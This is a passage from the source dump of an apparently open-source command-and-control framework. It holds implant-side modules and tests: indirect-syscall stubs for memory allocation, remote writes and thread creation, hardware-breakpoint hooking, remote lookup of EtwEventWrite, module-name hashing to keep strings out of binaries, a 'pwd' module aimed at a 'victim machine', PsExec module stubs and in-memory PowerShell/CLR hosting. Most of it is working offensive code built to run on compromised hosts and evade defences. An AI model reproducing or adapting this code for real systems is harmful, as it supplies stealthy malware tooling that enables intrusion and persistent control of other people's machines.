48 | 49 | VOID clear_breakpoint( 50 | IN CONTEXT* ctx, 51 | IN DWORD index); 52 | 53 | 54 | BOOL enable_breakpoint( 55 | OUT CONTEXT* ctx, 56 | IN PVOID address, 57 | IN int index); 58 | 59 | 60 | BOOL set_hwbp( 61 | IN HANDLE hThread, 62 | IN PVOID address, 63 | IN exception_callback hwbp_handler, 64 | IN UINT32 index, 65 | OUT PHANDLE phHwBpHandler); 66 | 67 | 68 | VOID unset_hwbp( 69 | IN HANDLE hThread, 70 | IN UINT32 index); 71 | 72 | 73 | VOID remove_hwbp_handler( 74 | IN HANDLE hHwBpHandler); 75 | 76 | 77 | #endif -------------------------------------------------------------------------------- /modules/ModuleCmd/syscall.cpp: -------------------------------------------------------------------------------- 1 | #include "syscall.hpp" 2 | 3 | 4 | DWORD GlobalHash = 0x0; 5 | 6 | 7 | EXTERN_C DWORD getGlobalHash() 8 | { 9 | return GlobalHash; 10 | } 11 | 12 | 13 | DWORD SW3_HashSyscall(const char *FunctionName) 14 | { 15 | DWORD Hash = 0x811C9DC5; // FNV offset basis 16 | DWORD FNV_prime = 0x01000193; // FNV prime 17 | 18 | int c; 19 | while (c = *FunctionName++) 20 | { 21 | Hash ^= c; // XOR the byte into the lowest byte of the hash 22 | Hash *= FNV_prime; // Multiply by FNV prime 23 | } 24 | 25 | return Hash & 0xFFFFFFFF; // Ensure the result is a 32-bit hash 26 | } 27 | 28 | bool compareEntry(Entry i1, Entry i2) 29 | { 30 | return (i1.getAddress() < i2.getAddress()); 31 | } 32 | 33 | SyscallList* SyscallList::singleton_= nullptr; 34 | 35 | 36 | SyscallList *SyscallList::GetInstance() 37 | { 38 | if(singleton_==nullptr){ 39 | singleton_ = new SyscallList(); 40 | } 41 | return singleton_; 42 | } 43 | 44 | 45 | EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash) 46 | { 47 | SyscallList* singleton = SyscallList::GetInstance(); 48 | return singleton->getSyscallNumber(FunctionHash); 49 | } 50 | 51 | 52 | EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash) 53 | { 54 | SyscallList* singleton = SyscallList::GetInstance(); 55 | return singleton->getSyscallAddress(FunctionHash); 56 | } 57 | 58 | -------------------------------------------------------------------------------- /modules/ModuleCmd/syscall.x64.asm: -------------------------------------------------------------------------------- 1 | .code 2 | 3 | EXTERN getGlobalHash: PROC 4 | 5 | EXTERN SW3_GetSyscallNumber: PROC 6 | 7 | EXTERN SW3_GetSyscallAddress: PROC 8 | 9 | 10 | Sw3NtAllocateVirtualMemory PROC 11 | jmp pipo 12 | Sw3NtAllocateVirtualMemory ENDP 13 | 14 | Sw3NtWaitForSingleObject PROC 15 | jmp pipo 16 | Sw3NtWaitForSingleObject ENDP 17 | 18 | Sw3NtCreateThreadEx PROC 19 | jmp pipo 20 | Sw3NtCreateThreadEx ENDP 21 | 22 | Sw3NtClose PROC 23 | jmp pipo 24 | Sw3NtClose ENDP 25 | 26 | Sw3NtWriteVirtualMemory PROC 27 | jmp pipo 28 | Sw3NtWriteVirtualMemory ENDP 29 | 30 | Sw3NtProtectVirtualMemory PROC 31 | jmp pipo 32 | Sw3NtProtectVirtualMemory ENDP 33 | 34 | Sw3NtOpenProcess PROC 35 | jmp pipo 36 | Sw3NtOpenProcess ENDP 37 | 38 | Sw3NtCreateProcess PROC 39 | jmp pipo 40 | Sw3NtCreateProcess ENDP 41 | 42 | Sw3NtQueueApcThread PROC 43 | jmp pipo 44 | Sw3NtQueueApcThread ENDP 45 | 46 | Sw3NtResumeThread PROC 47 | jmp pipo 48 | Sw3NtResumeThread ENDP 49 | 50 | Sw3NtOpenProcessToken PROC 51 | jmp pipo 52 | Sw3NtOpenProcessToken ENDP 53 | 54 | Sw3NtAdjustPrivilegesToken PROC 55 | jmp pipo 56 | Sw3NtAdjustPrivilegesToken ENDP 57 | 58 | Sw3NtQueryVirtualMemory PROC 59 | jmp pipo 60 | Sw3NtQueryVirtualMemory ENDP 61 | 62 | Sw3NtReadVirtualMemory PROC 63 | jmp pipo 64 | Sw3NtReadVirtualMemory ENDP 65 | 66 | pipo PROC 67 | mov [rsp +8], rcx 68 | mov [rsp+16], rdx 69 | mov [rsp+24], r8 70 | mov [rsp+32], r9 71 | sub rsp, 28h 72 | call getGlobalHash ; remove hash 73 | mov rcx, rax 74 | call SW3_GetSyscallAddress 75 | mov r11, rax 76 | call getGlobalHash ; remove hash 77 | mov rcx, rax 78 | call SW3_GetSyscallNumber 79 | add rsp, 28h 80 | mov rcx, [rsp+8] 81 | mov rdx, [rsp+16] 82 | mov r8, [rsp+24] 83 | mov r9, [rsp+32] 84 | mov r10, rcx 85 | jmp r11 86 | pipo ENDP 87 | 88 | end -------------------------------------------------------------------------------- /modules/ModuleCmd/syscall.x64.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2Core/9e6ec281af1f9ee7b803fce6fc60b689ee4c2db9/modules/ModuleCmd/syscall.x64.obj -------------------------------------------------------------------------------- /modules/ModuleCmd/tests/testsHwbp.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | 6 | 7 | LONG WINAPI hanlderToTrigger(EXCEPTION_POINTERS * ExceptionInfo) 8 | { 9 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) 10 | { 11 | BYTE* baseAddress = (BYTE*)xGetProcAddress(xGetLibAddress((PCHAR)"Kernel32", TRUE, NULL), (PCHAR)"GetProcessVersion", 0); 12 | if (ExceptionInfo->ContextRecord->Rip == (DWORD64) baseAddress) 13 | { 14 | std::cout << "Hello from GetProcessVersion " << std::endl; 15 | ExceptionInfo->ContextRecord->Rip++; // or skip the breakpoint via instruction pointer 16 | } 17 | return EXCEPTION_CONTINUE_EXECUTION; 18 | } 19 | return EXCEPTION_CONTINUE_SEARCH; 20 | } 21 | 22 | 23 | int main() 24 | { 25 | 26 | void* baseAddress = (void*)xGetProcAddress(xGetLibAddress((PCHAR)"Kernel32.dll", TRUE, NULL), (PCHAR)"GetProcessVersion", 0); 27 | 28 | std::cout << "baseAddress " << baseAddress << std::endl; 29 | 30 | int indexHWBP = 0; 31 | HANDLE bp; 32 | set_hwbp(GetCurrentThread(), baseAddress, hanlderToTrigger, indexHWBP, &bp); 33 | 34 | std::cout << "bp " << bp << std::endl; 35 | 36 | std::cout << "GetProcessVersion with bp " << std::endl; 37 | 38 | GetProcessVersion(-1); 39 | 40 | std::cout << "unset_hwbp " << std::endl; 41 | 42 | unset_hwbp(GetCurrentThread(), indexHWBP); 43 | 44 | std::cout << "remove_hwbp_handler " << std::endl; 45 | 46 | remove_hwbp_handler(bp); 47 | 48 | std::cout << "GetProcessVersion without bp " << std::endl; 49 | 50 | GetProcessVersion(-1); 51 | 52 | std::cout << "End " << std::endl; 53 | 54 | return 0; 55 | } 56 | 57 | -------------------------------------------------------------------------------- /modules/ModuleCmd/tests/testsTools.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "../Tools.hpp" 7 | 8 | 9 | int testGetRemoteProcAddress() 10 | { 11 | #ifdef _WIN32 12 | int pid = launchProcess("C:\\Windows\\System32\\notepad.exe"); 13 | std::cout << "notepad pid " << pid << std::endl; 14 | 15 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, pid); 16 | std::cout << "notepad hProcess " << hProcess << std::endl; 17 | 18 | assert(hProcess != 0); 19 | 20 | Sleep(100); 21 | 22 | HMODULE hModule = GetRemoteModuleHandle(hProcess, "ntdll.dll"); 23 | std::cout << "notepad ntdll.dll HMODULE " << hModule << std::endl; 24 | 25 | assert(hModule != 0); 26 | 27 | FARPROC proc = GetRemoteProcAddress (hProcess, hModule, "EtwEventWrite", 0, FALSE); 28 | std::cout << "notepad ntdll.dll,EtwEventWrite FARPROC " << proc << std::endl; 29 | 30 | assert(proc != 0); 31 | 32 | TerminateProcess(hProcess, 1); 33 | CloseHandle(hProcess); 34 | #endif 35 | 36 | return 0; 37 | } 38 | 39 | 40 | int main() 41 | { 42 | testGetRemoteProcAddress(); 43 | } -------------------------------------------------------------------------------- /modules/ModuleTemplate/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include_directories(../) 2 | add_library(ModuleTemplate SHARED ModuleTemplate.cpp) 3 | set_property(TARGET ModuleTemplate PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 4 | target_link_libraries(ModuleTemplate ) 5 | add_custom_command(TARGET ModuleTemplate POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 6 | $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") 7 | 8 | if(WITH_TESTS) 9 | add_executable(testsModuleTemplate tests/testsModuleTemplate.cpp ModuleTemplate.cpp) 10 | target_link_libraries(testsModuleTemplate ) 11 | add_custom_command(TARGET testsModuleTemplate POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 12 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 13 | 14 | add_test(NAME testsModuleTemplate COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 15 | endif() -------------------------------------------------------------------------------- /modules/ModuleTemplate/ModuleTemplate.cpp: -------------------------------------------------------------------------------- 1 | #include "ModuleTemplate.hpp" 2 | 3 | #include "Common.hpp" 4 | 5 | #include 6 | 7 | using namespace std; 8 | 9 | 10 | // Compute hash of moduleName at compile time, so the moduleName string don't show in the binary 11 | constexpr std::string_view moduleName = "moduleTemplate"; 12 | constexpr unsigned long long moduleHash = djb2(moduleName); 13 | 14 | 15 | #ifdef _WIN32 16 | 17 | __declspec(dllexport) ModuleTemplate* ModuleTemplateConstructor() 18 | { 19 | return new ModuleTemplate(); 20 | } 21 | 22 | #else 23 | 24 | __attribute__((visibility("default"))) ModuleTemplate* ModuleTemplateConstructor() 25 | { 26 | return new ModuleTemplate(); 27 | } 28 | 29 | #endif 30 | 31 | 32 | ModuleTemplate::ModuleTemplate() 33 | #ifdef BUILD_TEAMSERVER 34 | : ModuleCmd(std::string(moduleName), moduleHash) 35 | #else 36 | : ModuleCmd("", moduleHash) 37 | #endif 38 | { 39 | } 40 | 41 | 42 | ModuleTemplate::~ModuleTemplate() 43 | { 44 | } 45 | 46 | 47 | std::string ModuleTemplate::getInfo() 48 | { 49 | std::string info; 50 | #ifdef BUILD_TEAMSERVER 51 | info += "moduleTemplate:\n"; 52 | info += "ModuleTemplate for easy developement of new modules\n"; 53 | info += "This is the help that will be display when you do 'ModuleTemplate help' or when their is an error during the init methode\n"; 54 | info += "exemple:\n"; 55 | info += "- moduleTemplate args\n"; 56 | #endif 57 | return info; 58 | } 59 | 60 | 61 | // Method that will be trigged server side to construct the message that will be send to the beacon and interpreted by the process method 62 | int ModuleTemplate::init(std::vector &splitedCmd, C2Message &c2Message) 63 | { 64 | #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) 65 | if (splitedCmd.size() >= 2 ) 66 | { 67 | string args = "args from the splited command line"; 68 | args = splitedCmd[1]; 69 | 70 | c2Message.set_instruction(splitedCmd[0]); 71 | c2Message.set_data(args); 72 | } 73 | else 74 | { 75 | // error message deiplay if something is wrong 76 | c2Message.set_returnvalue(getInfo()); 77 | return -1; 78 | } 79 | #endif 80 | return 0; 81 | } 82 | 83 | 84 | // Method that will be trigged server side after the retrun message is received 85 | // For exemple a file to write on the disk 86 | int ModuleTemplate::followUp(const C2Message &c2RetMessage) 87 | { 88 | #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) 89 | // check if there is an error 90 | if(c2RetMessage.errorCode()==-1) 91 | { 92 | std::string args = c2RetMessage.args(); 93 | } 94 | #endif 95 | return 0; 96 | } 97 | 98 | 99 | #define ERROR_CODE_1 1 100 | 101 | 102 | // Method that will be trigged beacon side, the main processing method 103 | int ModuleTemplate::process(C2Message &c2Message, C2Message &c2RetMessage) 104 | { 105 | c2RetMessage.set_instruction(c2RetMessage.instruction()); 106 | 107 | std::string data = c2Message.data(); 108 | if( data == "arg1" ) 109 | { 110 | std::string buffer = "return value that will be shown in the client"; 111 | c2RetMessage.set_returnvalue(buffer); 112 | } 113 | else 114 | { 115 | c2RetMessage.set_errorCode(ERROR_CODE_1); 116 | } 117 | 118 | return 0; 119 | } 120 | 121 | 122 | // Method that will be trigged server side after the retrun message is received, in case of error 123 | int ModuleTemplate::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) 124 | { 125 | #ifdef BUILD_TEAMSERVER 126 | int errorCode = c2RetMessage.errorCode(); 127 | if(errorCode>0) 128 | { 129 | if(errorCode==ERROR_CODE_1) 130 | errorMsg = "Failed: An error occured and that is the error message that will be display to the user"; 131 | } 132 | #endif 133 | return 0; 134 | } 135 | -------------------------------------------------------------------------------- /modules/ModuleTemplate/ModuleTemplate.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ModuleCmd.hpp" 4 | 5 | 6 | class ModuleTemplate : public ModuleCmd 7 | { 8 | 9 | public: 10 | ModuleTemplate(); 11 | ~ModuleTemplate(); 12 | 13 | std::string getInfo(); 14 | 15 | int init(std::vector& splitedCmd, C2Message& c2Message); 16 | int process(C2Message& c2Message, C2Message& c2RetMessage); 17 | int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); 18 | int followUp(const C2Message &c2RetMessage); 19 | int osCompatibility() 20 | { 21 | return OS_LINUX | OS_WINDOWS; 22 | } 23 | 24 | private: 25 | 26 | }; 27 | 28 | 29 | #ifdef _WIN32 30 | 31 | extern "C" __declspec(dllexport) ModuleTemplate * ModuleTemplateConstructor(); 32 | 33 | #else 34 | 35 | extern "C" __attribute__((visibility("default"))) ModuleTemplate * ModuleTemplateConstructor(); 36 | 37 | #endif 38 | -------------------------------------------------------------------------------- /modules/ModuleTemplate/tests/testsModuleTemplate.cpp: -------------------------------------------------------------------------------- 1 | #include "../ModuleTemplate.hpp" 2 | 3 | #ifdef __linux__ 4 | #elif _WIN32 5 | #include 6 | #endif 7 | 8 | 9 | bool testModuleTemplate(); 10 | 11 | 12 | int main() 13 | { 14 | bool res; 15 | 16 | std::cout << "[+] testModuleTemplate" << std::endl; 17 | res = testModuleTemplate(); 18 | if (res) 19 | std::cout << "[+] Sucess" << std::endl; 20 | else 21 | std::cout << "[-] Failed" << std::endl; 22 | 23 | return !res; 24 | } 25 | 26 | 27 | // test function 28 | bool testModuleTemplate() 29 | { 30 | 31 | std::unique_ptr moduleTemplate = std::make_unique(); 32 | 33 | { 34 | std::vector splitedCmd; 35 | splitedCmd.push_back("moduleTemplate"); 36 | splitedCmd.push_back("arg1"); 37 | 38 | C2Message c2Message; 39 | C2Message c2RetMessage; 40 | moduleTemplate->init(splitedCmd, c2Message); 41 | moduleTemplate->process(c2Message, c2RetMessage); 42 | 43 | std::string output = "output:\n"; 44 | output += c2RetMessage.returnvalue(); 45 | output += "\n"; 46 | std::cout << output << std::endl; 47 | } 48 | 49 | { 50 | std::vector splitedCmd; 51 | splitedCmd.push_back("moduleTemplate"); 52 | splitedCmd.push_back("notarg1"); 53 | 54 | C2Message c2Message; 55 | C2Message c2RetMessage; 56 | moduleTemplate->init(splitedCmd, c2Message); 57 | moduleTemplate->process(c2Message, c2RetMessage); 58 | 59 | std::string output = "output:\n"; 60 | output += c2RetMessage.returnvalue(); 61 | output += "\n"; 62 | std::cout << output << std::endl; 63 | 64 | if (c2RetMessage.errorCode()) 65 | { 66 | std::string errorMsg; 67 | moduleTemplate->errorCodeToMsg(c2RetMessage, errorMsg); 68 | std::cout << "[+] error: \n" << errorMsg << std::endl; 69 | } 70 | else 71 | { 72 | return false; 73 | } 74 | } 75 | 76 | return true; 77 | } 78 | -------------------------------------------------------------------------------- /modules/Powershell/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include_directories(../) 2 | add_library(Powershell SHARED Powershell.cpp) 3 | set_property(TARGET Powershell PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 4 | target_link_libraries(Powershell ) 5 | add_custom_command(TARGET Powershell POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 6 | $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") 7 | 8 | if(WITH_TESTS) 9 | add_executable(testsPowershell tests/testsPowershell.cpp Powershell.cpp) 10 | target_link_libraries(testsPowershell ) 11 | add_custom_command(TARGET testsPowershell POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 12 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 13 | 14 | add_test(NAME testsPowershell COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 15 | endif() -------------------------------------------------------------------------------- /modules/Powershell/PowerShellRunner/.gitignore: -------------------------------------------------------------------------------- 1 | PowerShellRunner.dll 2 | header.h -------------------------------------------------------------------------------- /modules/Powershell/PowerShellRunner/New-PowerShellRunnerHeader.ps1: -------------------------------------------------------------------------------- 1 | function New-PowerShellRunnerHeader 2 | { 3 | [CmdletBinding()] 4 | [OutputType([string])] 5 | Param 6 | ( 7 | [Parameter(Mandatory=$true, 8 | ValueFromPipelineByPropertyName=$true, 9 | Position=0)] 10 | $AssemblyPath 11 | ) 12 | 13 | write-output $AssemblyPath 14 | $Bytes = Get-Content -Raw -Encoding Byte $AssemblyPath 15 | $OutputStr = New-Object System.Text.StringBuilder 16 | 17 | write-output $OutputStr 18 | 19 | $Counter = 1 20 | foreach($Byte in $Bytes) { 21 | $null = $OutputStr.Append("0x$('{0:X2}' -f $Byte),") 22 | 23 | if($Counter % 12 -eq 0) { 24 | $null = $OutputStr.AppendLine() 25 | $null = $OutputStr.Append("`t") 26 | } 27 | $Counter++ 28 | } 29 | 30 | $null = $OutputStr.Remove($OutputStr.Length-1,1) 31 | 32 | $Source = @" 33 | #ifndef POWERSHELLRUNNERDLL_H_ 34 | #define POWERSHELLRUNNERDLL_H_ 35 | 36 | static const unsigned char PowerShellRunner_dll[] = { 37 | $($OutputStr.ToString()) 38 | }; 39 | 40 | static const unsigned int PowerShellRunner_dll_len = $($Bytes.Length); 41 | 42 | #endif 43 | "@ 44 | 45 | $Source | Out-File -FilePath header.h 46 | } 47 | 48 | New-PowerShellRunnerHeader .\PowerShellRunner.dll -------------------------------------------------------------------------------- /modules/Powershell/PowerShellRunner/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2Core/9e6ec281af1f9ee7b803fce6fc60b689ee4c2db9/modules/Powershell/PowerShellRunner/System.Management.Automation.dll -------------------------------------------------------------------------------- /modules/Powershell/PowerShellRunner/compile.bat: -------------------------------------------------------------------------------- 1 | csc PowerShellRunner.cs /r:System.Management.Automation.dll /target:library 2 | powershell .\New-PowerShellRunnerHeader.ps1 -------------------------------------------------------------------------------- /modules/PrintWorkingDirectory/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include_directories(../) 2 | add_library(PrintWorkingDirectory SHARED PrintWorkingDirectory.cpp) 3 | set_property(TARGET PrintWorkingDirectory PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 4 | target_link_libraries(PrintWorkingDirectory ) 5 | add_custom_command(TARGET PrintWorkingDirectory POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 6 | $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") 7 | 8 | if(WITH_TESTS) 9 | add_executable(testsPrintWorkingDirectory tests/testsPrintWorkingDirectory.cpp PrintWorkingDirectory.cpp) 10 | target_link_libraries(testsPrintWorkingDirectory ) 11 | add_custom_command(TARGET testsPrintWorkingDirectory POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 12 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 13 | 14 | add_test(NAME testsPrintWorkingDirectory COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 15 | endif() -------------------------------------------------------------------------------- /modules/PrintWorkingDirectory/PrintWorkingDirectory.cpp: -------------------------------------------------------------------------------- 1 | #include "PrintWorkingDirectory.hpp" 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | #include "Common.hpp" 8 | 9 | 10 | using namespace std; 11 | 12 | 13 | constexpr std::string_view moduleName = "pwd"; 14 | constexpr unsigned long long moduleHash = djb2(moduleName); 15 | 16 | 17 | #ifdef _WIN32 18 | 19 | __declspec(dllexport) PrintWorkingDirectory* PrintWorkingDirectoryConstructor() 20 | { 21 | return new PrintWorkingDirectory(); 22 | } 23 | 24 | #else 25 | 26 | __attribute__((visibility("default"))) PrintWorkingDirectory* PrintWorkingDirectoryConstructor() 27 | { 28 | return new PrintWorkingDirectory(); 29 | } 30 | 31 | #endif 32 | 33 | 34 | PrintWorkingDirectory::PrintWorkingDirectory() 35 | #ifdef BUILD_TEAMSERVER 36 | : ModuleCmd(std::string(moduleName), moduleHash) 37 | #else 38 | : ModuleCmd("", moduleHash) 39 | #endif 40 | { 41 | } 42 | 43 | PrintWorkingDirectory::~PrintWorkingDirectory() 44 | { 45 | } 46 | 47 | std::string PrintWorkingDirectory::getInfo() 48 | { 49 | std::string info; 50 | #ifdef BUILD_TEAMSERVER 51 | info += "PrintWorkingDirectory Module:\n"; 52 | info += "Print the current working directory on the victim machine.\n"; 53 | info += "\nExample:\n"; 54 | info += "- pwd\n"; 55 | #endif 56 | return info; 57 | } 58 | 59 | int PrintWorkingDirectory::init(std::vector &splitedCmd, C2Message &c2Message) 60 | { 61 | c2Message.set_instruction(splitedCmd[0]); 62 | c2Message.set_cmd(""); 63 | 64 | return 0; 65 | } 66 | 67 | 68 | int PrintWorkingDirectory::process(C2Message &c2Message, C2Message &c2RetMessage) 69 | { 70 | std::string outCmd = printWorkingDirectory(); 71 | 72 | c2RetMessage.set_instruction(c2RetMessage.instruction()); 73 | c2RetMessage.set_cmd(""); 74 | c2RetMessage.set_returnvalue(outCmd); 75 | 76 | return 0; 77 | } 78 | 79 | 80 | std::string PrintWorkingDirectory::printWorkingDirectory() 81 | { 82 | std::string result; 83 | result = filesystem::current_path().string(); 84 | 85 | return result; 86 | } -------------------------------------------------------------------------------- /modules/PrintWorkingDirectory/PrintWorkingDirectory.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ModuleCmd.hpp" 4 | 5 | 6 | class PrintWorkingDirectory : public ModuleCmd 7 | { 8 | 9 | public: 10 | PrintWorkingDirectory(); 11 | ~PrintWorkingDirectory(); 12 | 13 | std::string getInfo(); 14 | 15 | int init(std::vector& splitedCmd, C2Message& c2Message); 16 | int process(C2Message& c2Message, C2Message& c2RetMessage); 17 | int osCompatibility() 18 | { 19 | return OS_LINUX | OS_WINDOWS; 20 | } 21 | 22 | private: 23 | std::string printWorkingDirectory(); 24 | 25 | }; 26 | 27 | 28 | #ifdef _WIN32 29 | 30 | extern "C" __declspec(dllexport) PrintWorkingDirectory * PrintWorkingDirectoryConstructor(); 31 | 32 | #else 33 | 34 | extern "C" __attribute__((visibility("default"))) PrintWorkingDirectory * PrintWorkingDirectoryConstructor(); 35 | 36 | #endif 37 | -------------------------------------------------------------------------------- /modules/PrintWorkingDirectory/tests/testsPrintWorkingDirectory.cpp: -------------------------------------------------------------------------------- 1 | #include "../PrintWorkingDirectory.hpp" 2 | 3 | #ifdef __linux__ 4 | #elif _WIN32 5 | #include 6 | #endif 7 | 8 | bool testPrintWorkingDirectory(); 9 | 10 | int main() 11 | { 12 | bool res; 13 | 14 | std::cout << "[+] testPrintWorkingDirectory" << std::endl; 15 | res = testPrintWorkingDirectory(); 16 | if (res) 17 | std::cout << "[+] Sucess" << std::endl; 18 | else 19 | std::cout << "[-] Failed" << std::endl; 20 | 21 | return 0; 22 | } 23 | 24 | bool testPrintWorkingDirectory() 25 | { 26 | std::unique_ptr printWorkingDirectory = std::make_unique(); 27 | { 28 | std::vector splitedCmd; 29 | splitedCmd.push_back("pwd"); 30 | 31 | C2Message c2Message; 32 | C2Message c2RetMessage; 33 | printWorkingDirectory->init(splitedCmd, c2Message); 34 | printWorkingDirectory->process(c2Message, c2RetMessage); 35 | 36 | std::string output = "\n\noutput:\n"; 37 | output += c2RetMessage.returnvalue(); 38 | output += "\n"; 39 | std::cout << output << std::endl; 40 | } 41 | 42 | return true; 43 | } 44 | -------------------------------------------------------------------------------- /modules/PsExec/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include_directories(../) 2 | add_library(PsExec SHARED PsExec.cpp) 3 | set_property(TARGET PsExec PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 4 | target_link_libraries(PsExec ) 5 | add_custom_command(TARGET PsExec POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 6 | $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") 7 | 8 | if(WITH_TESTS) 9 | add_executable(testsPsExec tests/testsPsExec.cpp PsExec.cpp) 10 | target_link_libraries(testsPsExec ) 11 | add_custom_command(TARGET testsPsExec POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 12 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 13 | 14 | add_test(NAME testsPsExec COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 15 | endif() -------------------------------------------------------------------------------- /modules/PsExec/PsExec.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ModuleCmd.hpp" 4 | 5 | 6 | class PsExec : public ModuleCmd 7 | { 8 | 9 | public: 10 | PsExec(); 11 | ~PsExec(); 12 | 13 | std::string getInfo(); 14 | 15 | int init(std::vector& splitedCmd, C2Message& c2Message); 16 | int process(C2Message& c2Message, C2Message& c2RetMessage); 17 | int osCompatibility() 18 | { 19 | return OS_WINDOWS; 20 | } 21 | 22 | private: 23 | 24 | }; 25 | 26 | 27 | #ifdef _WIN32 28 | 29 | extern "C" __declspec(dllexport) PsExec * PsExecConstructor(); 30 | 31 | #else 32 | 33 | extern "C" __attribute__((visibility("default"))) PsExec * PsExecConstructor(); 34 | 35 | #endif 36 | 37 | -------------------------------------------------------------------------------- /modules/PsExec/tests/testsPsExec.cpp: -------------------------------------------------------------------------------- 1 | #include "../PsExec.hpp" 2 | 3 | #ifdef __linux__ 4 | #elif _WIN32 5 | #include 6 | #endif 7 | 8 | bool testPsExec(); 9 | 10 | int main() 11 | { 12 | bool res; 13 | 14 | std::cout << "[+] testPsExec" << std::endl; 15 | res = testPsExec(); 16 | if (res) 17 | std::cout << "[+] Sucess" << std::endl; 18 | else 19 | std::cout << "[-] Failed" << std::endl; 20 | 21 | return 0; 22 | } 23 | 24 | 25 | bool testPsExec() 26 | { 27 | std::unique_ptr psExec = std::make_unique(); 28 | { 29 | std::vector splitedCmd; 30 | splitedCmd.push_back("psExec"); 31 | splitedCmd.push_back("127.0.0.1"); 32 | splitedCmd.push_back("c:\\windows\\system32\\notepad.exe"); 33 | 34 | C2Message c2Message; 35 | C2Message c2RetMessage; 36 | psExec->init(splitedCmd, c2Message); 37 | psExec->process(c2Message, c2RetMessage); 38 | 39 | std::string output = "\n\noutput:\n"; 40 | output += c2RetMessage.returnvalue(); 41 | output += "\n"; 42 | std::cout << output << std::endl; 43 | } 44 | 45 | return true; 46 | } -------------------------------------------------------------------------------- /modules/PwSh/AssemblyManager.cpp: -------------------------------------------------------------------------------- 1 | #include "AssemblyManager.hpp" 2 | 3 | 4 | MyAssemblyManager::MyAssemblyManager(void) 5 | { 6 | count = 0; 7 | m_assemblyStore = new MyAssemblyStore(); 8 | }; 9 | 10 | 11 | MyAssemblyManager::~MyAssemblyManager(void) 12 | { 13 | delete m_assemblyStore; 14 | }; 15 | 16 | 17 | HRESULT STDMETHODCALLTYPE MyAssemblyManager::QueryInterface(REFIID vTableGuid, void** ppv) 18 | { 19 | if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyManager)) 20 | { 21 | *ppv = 0; 22 | return E_NOINTERFACE; 23 | } 24 | *ppv = this; 25 | this->AddRef(); 26 | return S_OK; 27 | } 28 | 29 | 30 | ULONG STDMETHODCALLTYPE MyAssemblyManager::AddRef() 31 | { 32 | return(++((MyAssemblyManager*)this)->count); 33 | } 34 | 35 | 36 | ULONG STDMETHODCALLTYPE MyAssemblyManager::Release() 37 | { 38 | if (--((MyAssemblyManager*)this)->count == 0) 39 | { 40 | GlobalFree(this); 41 | return 0; 42 | } 43 | return ((MyAssemblyManager*)this)->count; 44 | } 45 | 46 | 47 | // This returns a list of assemblies that we are telling the CLR that we want it to handle loading (when/if a load is requested for them) 48 | // We can just return NULL and we will always be asked to load the assembly, but we can tell the CLR to load it in our ProvideAssembly implementation 49 | HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList) 50 | { 51 | *ppReferenceList = NULL; 52 | return S_OK; 53 | } 54 | 55 | 56 | //This is responsible for returning our IHostAssemblyStore implementation 57 | HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore) 58 | { 59 | *ppAssemblyStore = m_assemblyStore; 60 | return S_OK; 61 | } 62 | 63 | -------------------------------------------------------------------------------- /modules/PwSh/AssemblyManager.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "AssemblyStore.hpp" 3 | 4 | 5 | class MyAssemblyManager : public IHostAssemblyManager 6 | { 7 | public: 8 | MyAssemblyManager(void); 9 | ~MyAssemblyManager(void); 10 | 11 | virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); 12 | virtual ULONG STDMETHODCALLTYPE AddRef(void); 13 | virtual ULONG STDMETHODCALLTYPE Release(void); 14 | 15 | virtual HRESULT STDMETHODCALLTYPE GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList); 16 | virtual HRESULT STDMETHODCALLTYPE GetAssemblyStore(IHostAssemblyStore** 